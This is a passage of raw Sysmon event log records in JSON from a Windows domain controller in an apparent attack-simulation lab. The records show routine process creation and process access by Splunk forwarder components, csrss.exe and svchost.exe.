Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4254,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.725\r\nProcessGuid: {90617006-4139-5F2D-0000-0010DA070600}\r\nProcessId: 2988\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.725","ProcessGuid":"{90617006-4139-5F2D-0000-0010DA070600}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4255,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.724\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4139-5F2D-0000-0010DA070600}\r\nTargetProcessId: 2988\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.724","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4139-5F2D-0000-0010DA070600}","TargetProcessId":"2988","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4256,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.724\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4139-5F2D-0000-0010DA070600}\r\nTargetProcessId: 2988\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.724","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4139-5F2D-0000-0010DA070600}","TargetProcessId":"2988","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4257,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4258,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4259,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4260,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4261,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4262,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 